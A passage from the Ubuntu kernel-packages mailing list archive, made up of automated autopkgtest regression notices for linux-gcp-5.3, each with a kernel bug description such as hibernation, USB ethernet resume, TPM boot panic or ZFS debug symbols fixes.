if two consecutive lookups are distant enough from each other, the extent can change, but the kernel can still use the cached node (current_node), accessing the wrong bitmap and ending up saving to disk the wrong pfn's. [Test Case] Bug has been reproduced in Xenial and Bionic trying to hibernate a large instance with a lot of RAM (100GB+). But we also wrote a custom kernel module to better isolate the code that triggers the problem: https://code.launchpad.net/~arighi/+git/mybitmap This module has exactly the same code as the hibernation code, but it can be used as a fast test case to reproduce the problem without actually triggering a real hibernation/resume cycle. [Fix] This bug can be fixed by properly invalidating the cached pair (extent, node) when the next lookup falls in a different extent or a different node. [Regression Potential] The fix has been sent to the LKML for review/feedback (https://lkml.org/lkml/2019/9/25/393), we have not received any feedback so far, but the bug is pretty clear and well tested on the affected platforms. Moreover, the code is isolated to the hibernation area, so the overall regression potential is minimal. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1847118/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1847063] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem in Ubuntu. https://bugs.launchpad.net/bugs/1847063 Title: Fix non-working Realtek USB ethernet after system resume Status in HWE Next: New Status in linux package in Ubuntu: Fix Committed Status in linux-oem package in Ubuntu: New Status in linux-oem-osp1 package in Ubuntu: New Status in linux source package in Bionic: Fix Committed Status in linux-oem source package in Bionic: Fix Released Status in linux-oem-osp1 source package in Bionic: Fix Released Status in linux source package in Disco: Fix Committed Status in linux-oem source package in Disco: Fix Released Status in linux-oem-osp1 source package in Disco: Fix Released Status in linux source package in Eoan: Fix Committed Status in linux-oem source package in Eoan: Fix Released Status in linux-oem-osp1 source package in Eoan: Fix Released Bug description: [Impact] If mac passthrough is enbled, Realtek USB ethernet (r8152) doesn't work under the following steps: 1. Connect to a Dell dock 2. Suspend the system 3. Re-plug the dock 4. Resume the system 5. Ethernet stops working [Fix] The USB port lose its power when the dock gets replugged, so we need to re-write the MAC address at reset_resume callback. [Test] The fix is succesfully tested on Dell WD15 dock and TB16 dock. [Regression Potential] Low. The fix limits to one single device and only take affect when MAC passthrough is enabled. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1847063/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848236] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1848236 Title: Add installer support for iwlmvm adapters Status in linux package in Ubuntu: Fix Committed Status in linux source package in Xenial: Fix Committed Status in linux source package in Bionic: Fix Committed Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: [Impact] Some wireless Intel cards that use the iwlmvm driver are not available during installation. [Test Case] Boot up the Ubuntu installer on a system with an iwlmvm adapter, and try using the wireless connection. [Fix] Add the missing sub-module to debian.master/d-i/nic-modules [Regression Potential] As we're including a new sub-module, this change makes the installer susceptible to bugs present in the iwlmvm driver. Other than that, this change should not introduce any new regressions as it doesn't change any driver code. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1848236/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1847590] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1847590 Title: Check for CPU Measurement sampling Status in Ubuntu on IBM z Systems: Fix Committed Status in linux package in Ubuntu: Fix Committed Status in linux source package in Bionic: Fix Committed Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: SRU Justification: == [Impact] * Check for CPU Measurement sampling to avoid potential loss of sampling data [Fix] * 932bfc5aae08f3cb20c1c9f051542f5933710151 932bfc5 "s390/cpumsf: Check for CPU Measurement sampling" [Test Case] * Have an LPAR configured with counter and sampling facilities anabled * Use lscpumf to check the facilities available for your hardware * Start a benchmark (like mem_alloc) and execute perf top * Canonical can only do regression testing, functional testing is currently only doable by IBM [Regression Potential] * There is as always some regression potential with having new code in and other code changed * but this particular change is limited to the s390x architecture, * again to the counter and sampling facilities, that need to be activated by intention * and is only for compatibility with the latest and newest hw generation only (z15 and L1III) [Other Info] * The fix/patch got upstream accepted with v5.4-rc2, hence it needs to be applied to E, D and B * The patch/commit neraly applied cleanly for me on E, D and B except a little conflict that is easily solveable * or can even be even automatically be solved by cherry-pick-ing with '-X theirs' * This is not relevant for Eoan GA, can be added with the help of an SRU cycle to Eoan post-GA __ Description: s390/cpumsf: Check for CPU Measurement sampling s390 IBM z15 introduces a check if the CPU Mesurement Facility sampling is temporarily unavailable. If this is the case return -EBUSY and abort the setup of CPU Measuement facility sampling. Business Value: With z15 the CPU Measurement sampling facility hardware may be in use when the Linux kernel CPU Measurement sampling facility device driver sets up sampling. This results in loss of sampling data and has to be avoided. With z15 the CPU Measurement facility sampling hardware indicates being in use and the linux device driver can check for this situation and can abort any hardware access. kernel 5.4 Git Commit: 932bfc5aae08f3cb20c1c9f051542f5933710151 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1847590/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845454] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1)
for bionic have finished running.
The following regressions have been reported in tests triggered by the package:
linux-gcp-5.3/unknown (amd64)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-gcp-5.3
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1845454
Title:
Kernel panic in tpm_ functions when booting kernel 5.3 in Ubuntu 19.10
(but 5.2 works)
Status in linux package in Ubuntu:
Fix Released
Bug description:
SRU Justification
Impact: Some systems are getting kernel panics during boot while
parsing tpm event logs from the firmware. This happens only when the
tpm and secure boot are both enabled in the firmware.
Fix: 3 patches which are currently applied to the upstream EFI
maintainer tree.
Test Case: On an affected system, booting a 5.3-based kernel will
panic during boot when the tpm and secure boot are enabled. A patched
kernel will boot successfully. The patches have been verified to fix
the issue on a gen 6 Lenovo X1 Carbon.
Regression Potential: If the patches have bugs they could cause
regressions on systems not currently experiencing issues. The patches
are pretty straightforward though, so I believe the risk is minimal
and (given the severity of the issue on affected hardware) acceptable.
---
Image: http://cdimage.ubuntu.com/daily-live/20190926/eoan-desktop-amd64.iso
Device: Dell XPS 13 7390 (201908-27305)
When trying to start the live session ("try Ubuntu") or trying to
install the ISO ("install Ubuntu"), the boot process stops within 1
second with a kernel panic (see attached screenshot).
The system could boot with a previous version of Eoan image:
2019-09-09 09:11 (kernel 5.3.0-10)
Workaround: disable TPM2 in the BIOS.
/!\ Please note: the information below (and the attached file
ProcCpuinfoMinimal.txt) come from a 18.04 live session, since I cannot boot
anything with 19.10 beta image.
==
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: syslinux 3:6.03+dfsg1-2
ProcVersionSignature: Ubuntu 5.0.0-23.24~18.04.1-generic 5.0.15
Uname: Linux 5.0.0-23-generic x86_64
ApportVersion: 2.20.9-0ubuntu7.7
Architecture: amd64
CasperVersion: 1.394
CurrentDesktop: ubuntu:GNOME
Date: Thu Sep 26 07:41:16 2019
Dependencies:
gcc-8-base 8.3.0-6ubuntu1~18.04.1
libc6 2.27-3ubuntu1
libgcc1 1:8.3.0-6ubuntu1~18.04.1
mtools 4.0.18-2ubuntu1
syslinux-common 3:6.03+dfsg1-2
LiveMediaBuild: Ubuntu 18.04.3 LTS "Bionic Beaver" - Release amd64 (20190805)
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=C.UTF-8
SHELL=/bin/bash
SourcePackage: syslinux
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1845454/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845728] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
*** This bug is a duplicate of bug 1846641 *** https://bugs.launchpad.net/bugs/1846641 All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1845728 Title: eoan/linux: 5.3.0-14.15 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Incomplete Status in Kernel SRU Workflow promote-to-release series: New Status in Kernel SRU Workflow regression-testing series: New Status in linux package in Ubuntu: Fix Released Status in linux source package in Eoan: Fix Released Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Promote to Proposed phase-changed: Monday, 30. September 2019 17:36 UTC reason: promote-to-proposed: Alert -- packages no longer available trackers: bionic/linux-hwe-edge: bug 1845727 eoan/linux-aws: bug 1845720 eoan/linux-azure: bug 1845721 eoan/linux-gcp: bug 1845722 eoan/linux-kvm: bug 1845723 eoan/linux-oracle: bug 1845724 eoan/linux-raspi2: bug 1845719 eoan/linux-snapdragon: bug 1845725 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1845728/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845987] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
*** This bug is a duplicate of bug 1846641 *** https://bugs.launchpad.net/bugs/1846641 All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1845987 Title: eoan/linux: 5.3.0-15.16 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-release series: New Status in Kernel SRU Workflow regression-testing series: New Status in linux package in Ubuntu: Fix Released Status in linux source package in Eoan: Fix Released Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Holding before Promote to Proposed phase-changed: Monday, 30. September 2019 17:36 UTC trackers: bionic/linux-hwe-edge: bug 1845727 eoan/linux-aws: bug 1845720 eoan/linux-azure: bug 1845721 eoan/linux-gcp: bug 1845722 eoan/linux-kvm: bug 1845723 eoan/linux-oracle: bug 1845724 eoan/linux-raspi2: bug 1845719 eoan/linux-snapdragon: bug 1845725 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1845987/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1774815] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774815 Title: Add bpftool to linux-tools-common Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Triaged Status in linux source package in Cosmic: Won't Fix Bug description: bpftool is a debugging and introspection tool actively developed by the BPF kernel community. It's developed as part of the kernel source tree under tools/: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/tools/bpf/bpftool It would be really great and appreciated if Ubuntu folks could package this as part of linux-tools-common. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1774815/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1837688] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1837688 Title: Ubuntu won't boot on Dell Inspiron 7375 Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu is unable to boot from the installation USB on a Dell Inspiron 7375, with a Ryzen CPU. This affects Ubuntu 19.10 (latest daily), 19.04 and 18.04.2 (videos of each unsuccessful boot will be attached). I was able to boot using a workaround, by adding to the kernel line: amd_iommu=on ivrs_ioapic[4]=00:14.0 ivrs_ioapic[5]=00:00.2 You can see it here: https://askubuntu.com/questions/1036357/ubuntu-18-04-wont-boot-on- dell-inspiron-7375 I used this workaround to run the apport-bug tool. The problem should be in an ubuntu specific vendor patch or configuration since I was able to boot successfully in: * CentOS 7 (kernel 3.10) * OpenSUSE Leap 15.1 (kernel 4.12.14) * OpenSUSE tumbleweed (kernel 5.1.16) * Fedora 30 (kernel 5.0.9) * Manjaro (kernel 4.19) * SystemRescueCd (kernel 4.19.34) ProblemType: Bug DistroRelease: Ubuntu 19.10 Package: linux-image-5.0.0-20-generic 5.0.0-20.21 ProcVersionSignature: Ubuntu 5.0.0-20.21-generic 5.0.8 Uname: Linux 5.0.0-20-generic x86_64 ApportVersion: 2.20.11-0ubuntu3 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: ubuntu 2186 F pulseaudio /dev/snd/controlC0: ubuntu 2186 F pulseaudio CasperVersion: 1.411 CurrentDesktop: ubuntu:GNOME Date: Tue Jul 23 21:14:36 2019 LiveMediaBuild: Ubuntu 19.10 "Eoan Ermine" - Alpha amd64 (20190715) MachineType: Dell Inc. Inspiron 7375 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/casper/vmlinuz file=/cdrom/preseed/username.seed amd_iommu=on ivrs_ioapic[4]=00:14.0 ivrs_ioapic[5]=00:00.2 --- RelatedPackageVersions: linux-restricted-modules-5.0.0-20-generic N/A linux-backports-modules-5.0.0-20-generic N/A linux-firmware1.180 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 07/09/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.5.0 dmi.board.name: 0GTNWX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: 1.5.0 dmi.modalias: dmi:bvnDellInc.:bvr1.5.0:bd07/09/2018:svnDellInc.:pnInspiron7375:pvr1.5.0:rvnDellInc.:rn0GTNWX:rvrA00:cvnDellInc.:ct10:cvr1.5.0: dmi.product.family: Inspiron dmi.product.name: Inspiron 7375 dmi.product.sku: 0884 dmi.product.version: 1.5.0 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1837688/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845391] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1845391 Title: SafeSetID LSM should be built but disabled by default Status in linux package in Ubuntu: Fix Released Bug description: The SafeSetID LSM is unlikely to be useful, by default, for a general purpose OS but a system integrator may want to make use of it in certain cases. We should build SafeSetID but not enable it by default in Ubuntu. The LSM can be put to use using the lsm= kernel boot parameter. For example, lsm=capability,yama,safesetid,apparmor could be specified to make use of SafeSetID in addition to the LSMs that we use by default in Ubuntu 19.10. You can verify that it is enabled by reading the lsm file in securityfs: $ cat /sys/kernel/security/lsm capability,yama,safesetid,apparmor Documentation on configuring SafeSetID can be found here: https://www.kernel.org/doc/html/latest/admin-guide/LSM/SafeSetID.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1845391/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845572] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1845572 Title: udevadm trigger will fail when trying to add /sys/devices/vio/ Status in The Ubuntu-power-systems project: Fix Released Status in linux package in Ubuntu: Fix Released Bug description: [Impact] This will cause the installer to exit early, causing a kernel panic before any prompt to the user. This is restricted to some Power systems. [Test case] A build vmlinux was used to boot the installer, and a prompt was available. 'add' was written to /sys/devices/vio/uevent was written to, and no error was found. 'add' was written to /sys/devices/vio/*/uevent, and modalias information was found when 'udevadm monitor -p' was run in the background. A complete install was completed with a fixed kernel. [Regression potential] Events may be missing and coldplug/hotplug of vio devices may fail. That was tested in the test case and not found to be the case. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1845572/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1846204] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
*** This bug is a duplicate of bug 1846641 *** https://bugs.launchpad.net/bugs/1846641 All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1846204 Title: eoan/linux: 5.3.0-16.17 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-release series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in linux package in Ubuntu: Fix Released Status in linux source package in Eoan: Fix Released Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Ready for Testing phase-changed: Friday, 04. October 2019 22:25 UTC proposed-announcement-sent: true proposed-testing-requested: true reason: automated-testing: Ongoing -- testing in progress regression-testing: Ongoing -- testing in progress trackers: bionic/linux-hwe-edge: bug 1845727 eoan/linux-aws: bug 1845720 eoan/linux-azure: bug 1845721 eoan/linux-gcp: bug 1845722 eoan/linux-kvm: bug 1845723 eoan/linux-oracle: bug 1845724 eoan/linux-raspi2: bug 1845719 eoan/linux-snapdragon: bug 1845725 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1846204/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1846143] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1846143 Title: zfs fails to build on s390x with debug symbols enabled Status in linux package in Ubuntu: Fix Released Bug description: SRU Justification Impact: After enabling debug symbols for the zfs dkms build, zfs now fails to build with the error "./arch/s390/include/asm/atomic_ops.h:46:2: error: impossible constraint in ‘asm’". Full build log: https://launchpadlibrarian.net/444832008/buildlog_ubuntu-eoan- s390x.linux_5.3.0-15.16_BUILDING.txt.gz. Fix: Similar issues in the past have been fixed by switching inline to __always_inline for affected functions. The same changes fixes the build failure her. Test Case: Build for s390x with zfs and the debug patches enabled. Without the patch we get the above error. With the patch the build is successful. Regressoin Potential: Unlikely to cause regressions, and fixes a build error. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1846143/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1840704] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1840704 Title: ZFS kernel modules lack debug symbols Status in linux package in Ubuntu: Fix Released Bug description: The ZFS kernel modules aren't built with debug symbols, which introduces problems/issues for debugging/support. Patches are required in: 1) linux kernel packaging, to add infrastructure to enable/build/strip/package debug symbols on DKMS. (this is sufficient with zfs-linux now in Eoan.) 2) zfs-linux and spl-linux, for the stable releases, which need a few patches to enable debug symbols (add option './configure --enable-debuginfo' and '(ZFS|SPL)_DKMS_ENABLE_DEBUGINFO' to dkms.conf.) Initially submitting the kernel patchset for Unstable, for review/feedback. It backports nicely into B/D/E, should it be accepted; for X (doesn't use DKMS builds) a simpler patch for the moment (until it does) works. The zfs/spl-linux patches are ready, to be submitted once the approach used by the kernel package settles. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1840704/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845808] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
